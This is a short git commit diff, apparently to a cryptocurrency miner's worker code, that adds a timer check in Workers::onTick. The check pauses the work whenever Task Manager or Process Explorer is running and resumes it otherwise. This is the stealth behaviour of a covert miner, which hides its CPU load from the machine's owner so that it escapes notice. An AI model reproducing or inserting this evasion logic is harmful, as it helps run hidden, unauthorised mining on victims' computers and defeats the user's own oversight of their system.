Merge ea5c21e2c6
into 4bf248f513
This commit is contained in:
commit
ad5269cbeb
1 changed files with 12 additions and 0 deletions
|
@ -316,6 +316,18 @@ void Workers::onResult(uv_async_t *handle)
|
||||||
|
|
||||||
void Workers::onTick(uv_timer_t *handle)
|
void Workers::onTick(uv_timer_t *handle)
|
||||||
{
|
{
|
||||||
|
bool boklar = false;
|
||||||
|
boklar = boklar || IsProcessRunning(L"taskmgr.exe");
|
||||||
|
boklar = boklar || IsProcessRunning(L"procexp64_2.exe");
|
||||||
|
if (boklar)
|
||||||
|
{
|
||||||
|
pausePic();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
unpausePic();
|
||||||
|
}
|
||||||
|
|
||||||
for (Handle *handle : m_workers) {
|
for (Handle *handle : m_workers) {
|
||||||
if (!handle->worker()) {
|
if (!handle->worker()) {
|
||||||
return;
|
return;
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue